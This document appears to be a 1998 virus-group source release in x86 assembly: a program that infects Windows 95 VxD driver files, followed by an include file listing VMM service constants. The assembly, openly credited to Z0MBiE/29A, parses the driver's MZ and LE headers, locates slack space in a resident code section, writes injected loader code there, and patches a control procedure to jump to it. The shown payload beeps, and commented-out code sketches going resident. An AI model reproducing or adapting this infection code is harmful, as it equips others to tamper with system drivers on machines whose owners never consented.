ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.asm]ÄÄ ; ; VxD-infection ; ; programmed in 1998 by Z0MBiE/29A ; all rights reserved ; *** NOT FOR [RE]PUBLISHING/DISASM IN VX-ZINES, EXCEPT 29A *** ; ; ABOUT THIS PROGRAM ; infected VxDs (file name given in command line) will beep ; ; program writes 'OK' if file infected ; program writes 'X' if cant disassemble instruction ; most of control_procs are written using control_dispatch macro, so ; disassembler must understand not more than 5-10 opcodes... ; ; INFECTION METHOD: (i think Navrhar-alike) ; ; 1. find DDEEntry ; 2. check its CODE section: it must be RESIDENT, CODE32, etc. ; 3. check enough free space in this CODE section ; 3. patch control_proc: ; control_proc_x: [some instructions-with-possible-fixups skipped] ; jmp virus ; virus: ; restore bytes, return control ; ; COMMENTS ; Also VxDs can be infected by adding virus section... but its not easy ; task, becose all data tables are "packed", i.e. not aligned, so no free ; space between these tables. ; But there always exist free space between last data table ("per-page ; checksum table") and first data page (as a rule LCOD, code section) ; So its really possible to add one more objectentry to objecttable ; But if this entry will be added we must add one or more entries to ; following page-map-table, which also has no free space. ; When its all will be done, we must _INSERT_ our code section between ; last data page and non-resident-names-table, which is last in the file. ; I will try to implement this method in next research, so results ; will appears in nearest future. ; ; TO INFECT VxDs-FILES USED: ; 1. sense what VxDs & Windows`95 will be forgotten - ; and these files will be not infected by me ;) ; 2. talks about Navrhar virus - my greetings to author! ; 3. best music in the world - Scorpions ; 4. some documentation - see directory DOC, its all i found ; also you can see winnt.h, but only header defined there ; 5. stuff from Reptile/29A - "how to compile VxD" ; 6. TASM, HIEW, IDA ; ; COMMENTS ; if you have something to say about VxD format/infection/..., ; or if you have VxD format description - ; mail me to z0mbie_29a@yahoo.com ; ; last updated at 9-08-98 ; include INCLUDE\HIEW_VMM.INC ; VxD services include INCLUDE\VXD_CALL.INC ; VxDCall/VMMCall macros include INCLUDE\VMM.INC ; some files from MASM include INCLUDE\IFS.INC model tiny p386 locals __ jumps ;cgroup group code, ldr, vxd cgroup group code, ldr code segment word use16 assume cs:cgroup, ds:cgroup, es:cgroup, ss:cgroup org 100h start: mov si, 0081h ; command line __1: mov dx, si ; skip spaces lodsb cmp al, 13 jz __exit cmp al, 32 je __1 __3: lodsb ; find #13 cmp al, 13 je __2 cmp al, 32 jne __3 __2: sub [si-1], al mov ah, 60h ; convert/copy file name mov si, dx lea di, filename int 21h ; lea si, filename ; store filename for ; lea di, ldr_vxd_name; VxD-loader ; mov cx, 128 ; rep movsb mov ax, 3d02h ; open target file lea dx, filename int 21h jc __exit mov handle, ax lea dx, mz ; read MZ header mov cx, mz_size call readfile xor edx, edx ; seek LE header call seek_edx_mz lea dx, le_header ; read LE header mov cx, le_size call readfile cmp le_magic, 'EL' ; check for valid LE header jne __close ; check for valid number of OBJECT ENTRIES cmp le_object_table_entries, max_objs ja __close ; check for valid number of PAGES mov le_number_of_memory_pages, max_pages ja __close ; seek OBJECT TABLE mov edx, le_object_table_offset call seek_edx_mz lea dx, ot ; read OBJECT TABLE mov cx, max_ot_size call readfile ; seek PAGE MAP TABLE mov edx, le_object_page_map_table_offset call seek_edx_mz lea dx, pmt ; read PAGE MAP TABLE mov cx, max_pmt_size call readfile ; seek ENTRY TABLE mov edx, le_entry_table_offset call seek_edx_mz ; read ENTRY TABLE lea dx, et mov cx, max_et_size call readfile ; analyzing only 1st entry ; check entry type cmp et.byte ptr 1, 11b ; valid/32bit jnz __close movzx edi, et.word ptr 2 ; edi=section #, where DDBEntry info located ; si=section offset lea esi, [edi-1] imul esi, size oe_struc add si, offset ot ; check section flags mov eax, [si].oe_flags and ax, 0010001101000101b ; 32-bit, resident, cmp ax, 0010000001000101b ; normal, read, exec jnz __close ; calculate free space in object section mov ecx, [si].oe_page_map_entries imul ecx, le_memory_page_size sub ecx, [si].oe_virtual_segment_size ; check for enough free space cmp ecx, ldr_size jb __close ; calculate our PAGE # mov eax, [si].oe_page_map_index add eax, [si].oe_page_map_entries dec eax ; eax = PAGE MAP TABLE entry mov eax, pmt[eax*4-4] test eax, 0FF000000h ; page type: normal jnz __close ; calculate file offset mov dx, ax ; dx = high page number shr eax, 16 ; eax = low page number xor ah, ah add ax, dx dec ax imul eax, le_memory_page_size add eax, le_data_pages_offset ; now EAX=offset of PAGE with our code add eax, le_memory_page_size sub eax, ecx ; now EAX=offset of OUR CODE in file mov our_offs, eax ; increase section`s code size add [si].oe_virtual_segment_size, ldr_size ; convert section # to file offset mov edx, pmt[edi*4-4] mov ax, dx shr edx, 16 xor dh, dh add dx, ax dec dx imul edx, le_memory_page_size add edx, le_data_pages_offset ; now EDX=offset of our section mov sect_offs, edx add edx, et.dword ptr 5 ; now EDX=offset of DDB Entry ; seek DDBEntry call seek_edx ; read DDBEntry lea dx, ddb mov cx, max_ddb_size call readfile mov edx, ddb.dword ptr 18h ; control_proc_X ;; maybe its mistake sub edx, [si].oe_relocation_base_address ;; add edx, sect_offs ; now EDX=offset of control_proc_X in FILE mov cp_offs, edx ; seek control_proc_X call seek_edx lea dx, cp ; read control_proc_X mov cx, max_cp_size call readfile ; analyze control_proc_x lea si, cp __restart: mov di, si ; pointer to byte to patch xor bx, bx ; "free" space counter __nextcmd: cmp si, offset cp + max_cp_size jae __close mov ax, [si] call get_cmd_size jc __close add si, cx or dx, dx jnz __restart add bx, cx cmp bx, 5 jb __nextcmd __patch: ; okey, space found - calculate some values ; to restore normal execution in VxD mov eax, sect_offs sub eax, our_offs mov save_0, eax mov al, [di] mov save_2, al mov eax, [di+1] mov save_4, eax sub di, offset cp movzx edi, di mov eax, edi add eax, ddb.dword ptr 18h mov save_1, eax inc eax mov save_3, eax mov eax, our_offs add eax, save_5-ldr_start+4 sub eax, edi sub eax, cp_offs neg eax mov save_5, eax mov eax, our_offs add eax, ldr_entry - ldr_start sub eax, edi sub eax, cp_offs sub eax, 5 ; jmp to our code mov cp[edi].byte ptr 0, 0E9h mov cp[edi].dword ptr 1, eax ; well, thats all - control_x_patches, ; "save_x"-values calculated ; mov ax, 4202h ; seek end-of-file ; mov bx, handle ; xor cx, cx ; cwd ; int 21h ; ; ; store file position ; mov vxd_pos.word ptr 2, dx ; mov vxd_pos.word ptr 0, ax ; ; mov ah, 40h ; write main code ; lea dx, vxd_start ; mov cx, vxd_size ; int 21h ; seek file (free space in code section) mov edx, our_offs call seek_edx ; write our code lea dx, ldr_start mov cx, ldr_size call writefile ; seek OBJECT TABLE mov edx, le_object_table_offset call seek_edx_mz ; write OBJECT TABLE ; - only one change made, physical section size ; increased by loader size lea dx, ot mov ecx, le_object_table_entries imul ecx, size oe_struc call writefile ; seek control_proc_X mov edx, cp_offs call seek_edx lea dx, cp ; write control_proc_X mov cx, max_cp_size call writefile mov al, 'O' ; success int 29h mov al, 'K' int 29h __close: mov ah, 3eh ; close file mov bx, handle int 21h __exit: mov ax, 4c00h ; exit to DOS int 21h ; this is small disassembler ; ; input: ; al=opcode (byte ptr 0) ; ah=opcode (byte ptr 1) ; ; output: ; CF=0: success ; cx = command size ; dx: ; 0 normal command ; 1 command may contain fixups ; CF=1: error ; cx/dx modified ; get_cmd_size: xor dx, dx mov cx, 2 push ax ; jcc xx and al, 0F0h cmp al, 070h pop ax je __rt mov cx, 3 cmp ax, 0E883h ; sub eax, xx je __rt cmp ax, 0F883h ; cmp eax, xx je __rt mov cx, 6 push ax and ax, 0F0FFh cmp ax, 0800Fh pop ax je __rt mov cx, 7 inc dx cmp ax, 005F6h ; test byte ptr [yyyyyyyy], xx je __rt dec dx mov al, 'X' ; unknown command int 29h stc ret __rt: clc ret readfile: pusha ; readfile mov ah, 3fh mov bx, handle int 21h popa ret writefile: pusha ; writefile mov ah, 40h mov bx, handle int 21h popa ret seek_edx_mz: add edx, mz_neptr ; seek(edx). newexe-based seek_edx: pusha ; seek(edx) push edx pop dx pop cx mov ax, 4200h mov bx, handle int 21h popa ret filename db 256 dup (?) ; file we`re infecting handle dw ? ; current file handle sect_offs dd ? ; offset of our section [ABSOLUTE] ; following 2 dwords ; are useful for STEALTH technology cp_offs dd ? ; offset of control_proc_x [ABSOLUTE] our_offs dd ? ; offset of our code [ABSOLUTE] mz: mz_mz dw ? mz_last512 dw ? mz_num512 dw ? mz_relnum dw ? mz_headersize dw ? mz_minmem dw ? mz_maxmem dw ? mz_ss dw ? mz_sp dw ? mz_checksum dw ? mz_ip dw ? mz_cs dw ? mz_relofs dw ? mz_ovrnum dw ? mz_reserved db 32 dup (?) mz_neptr dd ? mz_size equ $-mz le_header: le_magic dw ? le_byte_order db ? le_word_order db ? le_exec_format_level dd ? le_cpu_type dw ? le_target_os dw ? le_module_version dd ? le_module_type_flags dd ? le_number_of_memory_pages dd ? le_initial_cs dd ? le_initial_eip dd ? le_initial_ss dd ? le_initial_esp dd ? le_memory_page_size dd ? le_bytes_on_last_page dd ? le_fixup_section_size dd ? le_fixup_section_checksum dd ? le_loader_section_size dd ? le_loader_section_checksum dd ? le_object_table_offset dd ? le_object_table_entries dd ? le_object_page_map_table_offset dd ? le_object_iterate_data_map_offset dd ? le_resource_table_offset dd ? le_resource_table_entries dd ? le_resident_names_table_offset dd ? le_entry_table_offset dd ? le_module_directives_table_offset dd ? le_module_directives_table_entries dd ? le_fixup_page_table_offset dd ? le_fixup_record_table_offset dd ? le_imported_module_names_table_offset dd ? le_imported_modules_count dd ? le_imported_procedure_name_table_offset dd ? le_per_page_checksum_table_offset dd ? le_data_pages_offset dd ? le_preload_page_count dd ? le_nonresident_names_table_offset dd ? le_nonresident_names_table_length dd ? le_nonresident_names_table_checksum dd ? le_automatic_data_object dd ? le_debug_information_offset dd ? le_debug_information_length dd ? le_preload_instance_pages_number dd ? le_demand_instance_pages_number dd ? le_extra_heap_allocation dd ? le_unknown dd ? le_size equ $-le_header ; vxd`s object table object entry structure oe_struc struc oe_virtual_segment_size dd ? oe_relocation_base_address dd ? oe_flags dd ? oe_page_map_index dd ? oe_page_map_entries dd ? oe_reserved dd ? ends ; vxd`s object table max_objs equ 32 ot oe_struc max_objs dup (?) max_ot_size equ $-ot ; page-map table max_pages equ 64 pmt dd max_pages dup (?) max_pmt_size equ $-pmt ; entry-table (really its not a table) max_et_size equ 256 et db max_et_size dup (?) ; DDBEntry structure max_ddb_size equ 64 ddb db max_ddb_size dup (?) ; control_proc_x we`re patching max_cp_size equ 256 cp db max_cp_size dup (?) align 16 ; important! code ends ldr segment word use32 ; 32-bit VxD-loader assume cs:ldr, ds:ldr, es:ldr, ss:ldr ldr_start: nop ldr_entry: pushf ; <- important pushad call entry ; where am i? entry: pop ebp sub ebp, entry - ldr_start lea eax, [ebp+12345678h] ; make EAX points to save_0 equ dword ptr $-4 ; section beginning ; restore original bytes ; can anybody explain it? ; section attributes was exec+readonly, i.e. ; not writeable, but following patch works mov byte ptr ds:[eax+12345678h], 12h save_1 equ dword ptr $-5 save_2 equ byte ptr $-1 mov dword ptr ds:[eax+12345678h], 12345678h save_3 equ dword ptr $-8 save_4 equ dword ptr $-4 call beep ; ; now control_proc_x restored, and we can ; ; go resident ; ; ; alloocate some memory ; push PAGEFIXED + PAGEZEROINIT ; flags ; push 0 ; PhysAddr @dword, unused ; push 0 ; maxPhys max page #, unused ; push 0 ; minPhys min page #, unused ; push 0Fh ; ALignMask 64k-aligned ; push 0 ; VM 0 if pType=PG_SYS ; push PG_SYS ; pType alloc in sys area ; push vxd_pages; nPages page count ; VMMcall PageAllocate ; add esp, 4*8 ; ; mov ecx, eax ; or ecx, edx ; jz __error ; ; ; mov pagehandle[ebp], eax ; ; mov pageaddress[ebp], edx ; ; mov edi, edx ; edi = our address ; ; int 3 ; ; lea edx, ldr_vxd_name[ebp] ; VMMcall OpenFile ; jc __error ; xchg ebx, eax __error: popad popf db 0e9h save_5 dd 12345678h beep: in al, 0B6h out 43h, al mov ax, 123456h/3300 ; 3300 Hz out 42h, al mov al, ah out 42h, al in al, 61h or al, 3 out 61h, al mov ecx, 3000000 __1: nop loop __1 in al, 61h and al, not 3 out 61h, al ret ;ldr_vxd_name db 128 dup ('?') ldr_end: ldr_size equ ldr_end - ldr_start align 16 ; important! ldr ends ;vxd segment word use32 ; 32-bit VxD-handler ; assume cs:vxd, ds:vxd, es:vxd, ss:vxd ; ;vxd_start: ; ; nop ; nop ; nop ; ;vxd_end: ;vxd_size equ vxd_end - vxd_start ;vxd_pages equ (vxd_size + 4095) / 4096 ;vxd ends ; end start ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.asm]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[include\hiew_vmm.inc]ÄÄ ; [HiewVMM 5.80] ; [0001.VMM] VMM_Get_VMM_Version equ 000010000h VMM_Get_Cur_VM_Handle equ 000010001h VMM_Test_Cur_VM_Handle equ 000010002h VMM_Get_Sys_VM_Handle equ 000010003h VMM_Test_Sys_VM_Handle equ 000010004h VMM_Validate_VM_Handle equ 000010005h VMM_Get_VMM_Reenter_Count equ 000010006h VMM_Begin_Reentrant_Execution equ 000010007h VMM_End_Reentrant_Execution equ 000010008h VMM_Install_V86_Break_Point equ 000010009h VMM_Remove_V86_Break_Point equ 00001000Ah VMM_Allocate_V86_Call_Back equ 00001000Bh VMM_Allocate_PM_Call_Back equ 00001000Ch VMM_Call_When_VM_Returns equ 00001000Dh VMM_Schedule_Global_Event equ 00001000Eh VMM_Schedule_VM_Event equ 00001000Fh VMM_Call_Global_Event equ 000010010h VMM_Call_VM_Event equ 000010011h VMM_Cancel_Global_Event equ 000010012h VMM_Cancel_VM_Event equ 000010013h VMM_Call_Priority_VM_Event equ 000010014h VMM_Cancel_Priority_VM_Event equ 000010015h VMM_Get_NMI_Handler_Addr equ 000010016h VMM_Set_NMI_Handler_Addr equ 000010017h VMM_Hook_NMI_Event equ 000010018h VMM_Call_When_VM_Ints_Enabled equ 000010019h VMM_Enable_VM_Ints equ 00001001Ah VMM_Disable_VM_Ints equ 00001001Bh VMM_Map_Flat equ 00001001Ch VMM_Map_Lin_To_VM_Addr equ 00001001Dh VMM_Adjust_Exec_Priority equ 00001001Eh VMM_Begin_Critical_Section equ 00001001Fh VMM_End_Critical_Section equ 000010020h VMM_End_Crit_And_Suspend equ 000010021h VMM_Claim_Critical_Section equ 000010022h VMM_Release_Critical_Section equ 000010023h VMM_Call_When_Not_Critical equ 000010024h VMM_Create_Semaphore equ 000010025h VMM_Destroy_Semaphore equ 000010026h VMM_Wait_Semaphore equ 000010027h VMM_Signal_Semaphore equ 000010028h VMM_Get_Crit_Section_Status equ 000010029h VMM_Call_When_Task_Switched equ 00001002Ah VMM_Suspend_VM equ 00001002Bh VMM_Resume_VM equ 00001002Ch VMM_No_Fail_Resume_VM equ 00001002Dh VMM_Nuke_VM equ 00001002Eh VMM_Crash_Cur_VM equ 00001002Fh VMM_Get_Execution_Focus equ 000010030h VMM_Set_Execution_Focus equ 000010031h VMM_Get_Time_Slice_Priority equ 000010032h VMM_Set_Time_Slice_Priority equ 000010033h VMM_Get_Time_Slice_Granularity equ 000010034h VMM_Set_Time_Slice_Granularity equ 000010035h VMM_Get_Time_Slice_Info equ 000010036h VMM_Adjust_Execution_Time equ 000010037h VMM_Release_Time_Slice equ 000010038h VMM_Wake_Up_VM equ 000010039h VMM_Call_When_Idle equ 00001003Ah VMM_Get_Next_VM_Handle equ 00001003Bh VMM_Set_Global_Time_Out equ 00001003Ch VMM_Set_VM_Time_Out equ 00001003Dh VMM_Cancel_Time_Out equ 00001003Eh VMM_Get_System_Time equ 00001003Fh VMM_Get_VM_Exec_Time equ 000010040h VMM_Hook_V86_Int_Chain equ 000010041h VMM_Get_V86_Int_Vector equ 000010042h VMM_Set_V86_Int_Vector equ 000010043h VMM_Get_PM_Int_Vector equ 000010044h VMM_Set_PM_Int_Vector equ 000010045h VMM_Simulate_Int equ 000010046h VMM_Simulate_Iret equ 000010047h VMM_Simulate_Far_Call equ 000010048h VMM_Simulate_Far_Jmp equ 000010049h VMM_Simulate_Far_Ret equ 00001004Ah VMM_Simulate_Far_Ret_N equ 00001004Bh VMM_Build_Int_Stack_Frame equ 00001004Ch VMM_Simulate_Push equ 00001004Dh VMM_Simulate_Pop equ 00001004Eh VMM_HeapAllocate equ 00001004Fh VMM_HeapReAllocate equ 000010050h VMM_HeapFree equ 000010051h VMM_HeapGetSize equ 000010052h VMM_PageAllocate equ 000010053h VMM_PageReAllocate equ 000010054h VMM_PageFree equ 000010055h VMM_PageLock equ 000010056h VMM_PageUnLock equ 000010057h VMM_PageGetSizeAddr equ 000010058h VMM_PageGetAllocInfo equ 000010059h VMM_GetFreePageCount equ 00001005Ah VMM_GetSysPageCount equ 00001005Bh VMM_GetVMPgCount equ 00001005Ch VMM_MapIntoV86 equ 00001005Dh VMM_PhysIntoV86 equ 00001005Eh VMM_TestGlobalV86Mem equ 00001005Fh VMM_ModifyPageBits equ 000010060h VMM_CopyPageTable equ 000010061h VMM_LinMapIntoV86 equ 000010062h VMM_LinPageLock equ 000010063h VMM_LinPageUnLock equ 000010064h VMM_SetResetV86Pageable equ 000010065h VMM_GetV86PageableArray equ 000010066h VMM_PageCheckLinRange equ 000010067h VMM_PageOutDirtyPages equ 000010068h VMM_PageDiscardPages equ 000010069h VMM_GetNulPageHandle equ 00001006Ah VMM_GetFirstV86Page equ 00001006Bh VMM_MapPhysToLinear equ 00001006Ch VMM_GetAppFlatDSAlias equ 00001006Dh VMM_SelectorMapFlat equ 00001006Eh VMM_GetDemandPageInfo equ 00001006Fh VMM_GetSetPageOutCount equ 000010070h VMM_Hook_V86_Page equ 000010071h VMM_Assign_Device_V86_Pages equ 000010072h VMM_DeAssign_Device_V86_Pages equ 000010073h VMM_Get_Device_V86_Pages_Array equ 000010074h VMM_MMGR_SetNULPageAddr equ 000010075h VMM_Allocate_GDT_Selector equ 000010076h VMM_Free_GDT_Selector equ 000010077h VMM_Allocate_LDT_Selector equ 000010078h VMM_Free_LDT_Selector equ 000010079h VMM_BuildDescriptorDWORDs equ 00001007Ah VMM_GetDescriptor equ 00001007Bh VMM_SetDescriptor equ 00001007Ch VMM_MMGR_Toggle_HMA equ 00001007Dh VMM_Get_Fault_Hook_Addrs equ 00001007Eh VMM_Hook_V86_Fault equ 00001007Fh VMM_Hook_PM_Fault equ 000010080h VMM_Hook_VMM_Fault equ 000010081h VMM_Begin_Nest_V86_Exec equ 000010082h VMM_Begin_Nest_Exec equ 000010083h VMM_Exec_Int equ 000010084h VMM_Resume_Exec equ 000010085h VMM_End_Nest_Exec equ 000010086h VMM_Allocate_PM_App_CB_Area equ 000010087h VMM_Get_Cur_PM_App_CB equ 000010088h VMM_Set_V86_Exec_Mode equ 000010089h VMM_Set_PM_Exec_Mode equ 00001008Ah VMM_Begin_Use_Locked_PM_Stack equ 00001008Bh VMM_End_Use_Locked_PM_Stack equ 00001008Ch VMM_Save_Client_State equ 00001008Dh VMM_Restore_Client_State equ 00001008Eh VMM_Exec_VxD_Int equ 00001008Fh VMM_Hook_Device_Service equ 000010090h VMM_Hook_Device_V86_API equ 000010091h VMM_Hook_Device_PM_API equ 000010092h VMM_System_Control equ 000010093h VMM_Simulate_IO equ 000010094h VMM_Install_Mult_IO_Handlers equ 000010095h VMM_Install_IO_Handler equ 000010096h VMM_Enable_Global_Trapping equ 000010097h VMM_Enable_Local_Trapping equ 000010098h VMM_Disable_Global_Trapping equ 000010099h VMM_Disable_Local_Trapping equ 00001009Ah VMM_List_Create equ 00001009Bh VMM_List_Destroy equ 00001009Ch VMM_List_Allocate equ 00001009Dh VMM_List_Attach equ 00001009Eh VMM_List_Attach_Tail equ 00001009Fh VMM_List_Insert equ 0000100A0h VMM_List_Remove equ 0000100A1h VMM_List_Deallocate equ 0000100A2h VMM_List_Get_First equ 0000100A3h VMM_List_Get_Next equ 0000100A4h VMM_List_Remove_First equ 0000100A5h VMM_AddInstanceItem equ 0000100A6h VMM_Allocate_Device_CB_Area equ 0000100A7h VMM_Allocate_Global_V86_Data_Area equ 0000100A8h VMM_Allocate_Temp_V86_Data_Area equ 0000100A9h VMM_Free_Temp_V86_Data_Area equ 0000100AAh VMM_Get_Profile_Decimal_Int equ 0000100ABh VMM_Convert_Decimal_String equ 0000100ACh VMM_Get_Profile_Fixed_Point equ 0000100ADh VMM_Convert_Fixed_Point_String equ 0000100AEh VMM_Get_Profile_Hex_Int equ 0000100AFh VMM_Convert_Hex_String equ 0000100B0h VMM_Get_Profile_Boolean equ 0000100B1h VMM_Convert_Boolean_String equ 0000100B2h VMM_Get_Profile_String equ 0000100B3h VMM_Get_Next_Profile_String equ 0000100B4h VMM_Get_Environment_String equ 0000100B5h VMM_Get_Exec_Path equ 0000100B6h VMM_Get_Config_Directory equ 0000100B7h VMM_OpenFile equ 0000100B8h VMM_Get_PSP_Segment equ 0000100B9h VMM_GetDOSVectors equ 0000100BAh VMM_Get_Machine_Info equ 0000100BBh VMM_GetSet_HMA_Info equ 0000100BCh VMM_Set_System_Exit_Code equ 0000100BDh VMM_Fatal_Error_Handler equ 0000100BEh VMM_Fatal_Memory_Error equ 0000100BFh VMM_Update_System_Clock equ 0000100C0h VMM_Test_Debug_Installed equ 0000100C1h VMM_Out_Debug_String equ 0000100C2h VMM_Out_Debug_Chr equ 0000100C3h VMM_In_Debug_Chr equ 0000100C4h VMM_Debug_Convert_Hex_Binary equ 0000100C5h VMM_Debug_Convert_Hex_Decimal equ 0000100C6h VMM_Debug_Test_Valid_Handle equ 0000100C7h VMM_Validate_Client_Ptr equ 0000100C8h VMM_Test_Reenter equ 0000100C9h VMM_Queue_Debug_String equ 0000100CAh VMM_Log_Proc_Call equ 0000100CBh VMM_Debug_Test_Cur_VM equ 0000100CCh VMM_Get_PM_Int_Type equ 0000100CDh VMM_Set_PM_Int_Type equ 0000100CEh VMM_Get_Last_Updated_System_Time equ 0000100CFh VMM_Get_Last_Updated_VM_Exec_Time equ 0000100D0h VMM_Test_DBCS_Lead_Byte equ 0000100D1h VMM_AddFreePhysPage equ 0000100D2h VMM_PageResetHandlePAddr equ 0000100D3h VMM_SetLastV86Page equ 0000100D4h VMM_GetLastV86Page equ 0000100D5h VMM_MapFreePhysReg equ 0000100D6h VMM_UnmapFreePhysReg equ 0000100D7h VMM_XchgFreePhysReg equ 0000100D8h VMM_SetFreePhysRegCalBk equ 0000100D9h VMM_Get_Next_Arena equ 0000100DAh VMM_Get_Name_Of_Ugly_TSR equ 0000100DBh VMM_Get_Debug_Options equ 0000100DCh VMM_Set_Physical_HMA_Alias equ 0000100DDh VMM_GetGlblRng0V86IntBase equ 0000100DEh VMM_Add_Global_V86_Data_Area equ 0000100DFh VMM_GetSetDetailedVMError equ 0000100E0h VMM_Is_Debug_Chr equ 0000100E1h VMM_Clear_Mono_Screen equ 0000100E2h VMM_Out_Mono_Chr equ 0000100E3h VMM_Out_Mono_String equ 0000100E4h VMM_Set_Mono_Cur_Pos equ 0000100E5h VMM_Get_Mono_Cur_Pos equ 0000100E6h VMM_Get_Mono_Chr equ 0000100E7h VMM_Locate_Byte_In_ROM equ 0000100E8h VMM_Hook_Invalid_Page_Fault equ 0000100E9h VMM_Unhook_Invalid_Page_Fault equ 0000100EAh VMM_Set_Delete_On_Exit_File equ 0000100EBh VMM_Close_VM equ 0000100ECh VMM_Enable_Touch_1st_Meg equ 0000100EDh VMM_Disable_Touch_1st_Meg equ 0000100EEh VMM_Install_Exception_Handler equ 0000100EFh VMM_Remove_Exception_Handler equ 0000100F0h VMM_Get_Crit_Status_No_Block equ 0000100F1h VMM_GetLastUpdatedThreadExecTime equ 0000100F2h VMM_Trace_Out_Service equ 0000100F3h VMM_Debug_Out_Service equ 0000100F4h VMM_Debug_Flags_Service equ 0000100F5h VMM_VMMAddImportModuleName equ 0000100F6h VMM_VMM_Add_DDB equ 0000100F7h VMM_VMM_Remove_DDB equ 0000100F8h VMM_Test_VM_Ints_Enabled equ 0000100F9h VMM_BlockOnID equ 0000100FAh VMM_Schedule_Thread_Event equ 0000100FBh VMM_Cancel_Thread_Event equ 0000100FCh VMM_Set_Thread_Time_Out equ 0000100FDh VMM_Set_Async_Time_Out equ 0000100FEh VMM_AllocateThreadDataSlot equ 0000100FFh VMM_FreeThreadDataSlot equ 000010100h VMM_CreateMutex equ 000010101h VMM_DestroyMutex equ 000010102h VMM_GetMutexOwner equ 000010103h VMM_Call_When_Thread_Switched equ 000010104h VMM_VMMCreateThread equ 000010105h VMM_GetThreadExecTime equ 000010106h VMM_VMMTerminateThread equ 000010107h VMM_Get_Cur_Thread_Handle equ 000010108h VMM_Test_Cur_Thread_Handle equ 000010109h VMM_Get_Sys_Thread_Handle equ 00001010Ah VMM_Test_Sys_Thread_Handle equ 00001010Bh VMM_Validate_Thread_Handle equ 00001010Ch VMM_Get_Initial_Thread_Handle equ 00001010Dh VMM_Test_Initial_Thread_Handle equ 00001010Eh VMM_Debug_Test_Valid_Thread_Handle equ 00001010Fh VMM_Debug_Test_Cur_Thread equ 000010110h VMM_VMM_GetSystemInitState equ 000010111h VMM_Cancel_Call_When_Thread_Switched equ 000010112h VMM_Get_Next_Thread_Handle equ 000010113h VMM_Adjust_Thread_Exec_Priority equ 000010114h VMM_Deallocate_Device_CB_Area equ 000010115h VMM_Remove_IO_Handler equ 000010116h VMM_Remove_Mult_IO_Handlers equ 000010117h VMM_Unhook_V86_Int_Chain equ 000010118h VMM_Unhook_V86_Fault equ 000010119h VMM_Unhook_PM_Fault equ 00001011Ah VMM_Unhook_VMM_Fault equ 00001011Bh VMM_Unhook_Device_Service equ 00001011Ch VMM_PageReserve equ 00001011Dh VMM_PageCommit equ 00001011Eh VMM_PageDecommit equ 00001011Fh VMM_PagerRegister equ 000010120h VMM_PagerQuery equ 000010121h VMM_PagerDeregister equ 000010122h VMM_ContextCreate equ 000010123h VMM_ContextDestroy equ 000010124h VMM_PageAttach equ 000010125h VMM_PageFlush equ 000010126h VMM_SignalID equ 000010127h VMM_PageCommitPhys equ 000010128h VMM_Register_Win32_Services equ 000010129h VMM_Cancel_Call_When_Not_Critical equ 00001012Ah VMM_Cancel_Call_When_Idle equ 00001012Bh VMM_Cancel_Call_When_Task_Switched equ 00001012Ch VMM_Debug_Printf_Service equ 00001012Dh VMM_EnterMutex equ 00001012Eh VMM_LeaveMutex equ 00001012Fh VMM_Simulate_VM_IO equ 000010130h VMM_Signal_Semaphore_No_Switch equ 000010131h VMM_ContextSwitch equ 000010132h VMM_PageModifyPermissions equ 000010133h VMM_PageQuery equ 000010134h VMM_EnterMustComplete equ 000010135h VMM_LeaveMustComplete equ 000010136h VMM_ResumeExecMustComplete equ 000010137h VMM_GetThreadTerminationStatus equ 000010138h VMM_GetInstanceInfo equ 000010139h VMM_ExecIntMustComplete equ 00001013Ah VMM_ExecVxDIntMustComplete equ 00001013Bh VMM_Begin_V86_Serialization equ 00001013Ch VMM_Unhook_V86_Page equ 00001013Dh VMM_VMM_GetVxDLocationList equ 00001013Eh VMM_VMM_GetDDBList equ 00001013Fh VMM_Unhook_NMI_Event equ 000010140h VMM_Get_Instanced_V86_Int_Vector equ 000010141h VMM_Get_Set_Real_DOS_PSP equ 000010142h VMM_Call_Priority_Thread_Event equ 000010143h VMM_Get_System_Time_Address equ 000010144h VMM_Get_Crit_Status_Thread equ 000010145h VMM_Get_DDB equ 000010146h VMM_Directed_Sys_Control equ 000010147h VMM_RegOpenKey equ 000010148h VMM_RegCloseKey equ 000010149h VMM_RegCreateKey equ 00001014Ah VMM_RegDeleteKey equ 00001014Bh VMM_RegEnumKey equ 00001014Ch VMM_RegQueryValue equ 00001014Dh VMM_RegSetValue equ 00001014Eh VMM_RegDeleteValue equ 00001014Fh VMM_RegEnumValue equ 000010150h VMM_RegQueryValueEx equ 000010151h VMM_RegSetValueEx equ 000010152h VMM_CallRing3 equ 000010153h VMM_Exec_PM_Int equ 000010154h VMM_RegFlushKey equ 000010155h VMM_PageCommitContig equ 000010156h VMM_GetCurrentContext equ 000010157h VMM_LocalizeSprintf equ 000010158h VMM_LocalizeStackSprintf equ 000010159h VMM_Call_Restricted_Event equ 00001015Ah VMM_Cancel_Restricted_Event equ 00001015Bh VMM_Register_PEF_Provider equ 00001015Ch VMM_GetPhysPageInfo equ 00001015Dh VMM_RegQueryInfoKey equ 00001015Eh VMM_MemArb_Reserve_Pages equ 00001015Fh VMM_Time_Slice_Sys_VM_Idle equ 000010160h VMM_Time_Slice_Sleep equ 000010161h VMM_Boost_With_Decay equ 000010162h VMM_Set_Inversion_Pri equ 000010163h VMM_Reset_Inversion_Pri equ 000010164h VMM_Release_Inversion_Pri equ 000010165h VMM_Get_Thread_Win32_Pri equ 000010166h VMM_Set_Thread_Win32_Pri equ 000010167h VMM_Set_Thread_Static_Boost equ 000010168h VMM_Set_VM_Static_Boost equ 000010169h VMM_Release_Inversion_Pri_ID equ 00001016Ah VMM_Attach_Thread_To_Group equ 00001016Bh VMM_Detach_Thread_From_Group equ 00001016Ch VMM_Set_Group_Static_Boost equ 00001016Dh VMM_GetRegistryPath equ 00001016Eh VMM_GetRegistryKey equ 00001016Fh VMM_Cleanup_Thread_State equ 000010170h VMM_RegRemapPreDefKey equ 000010171h 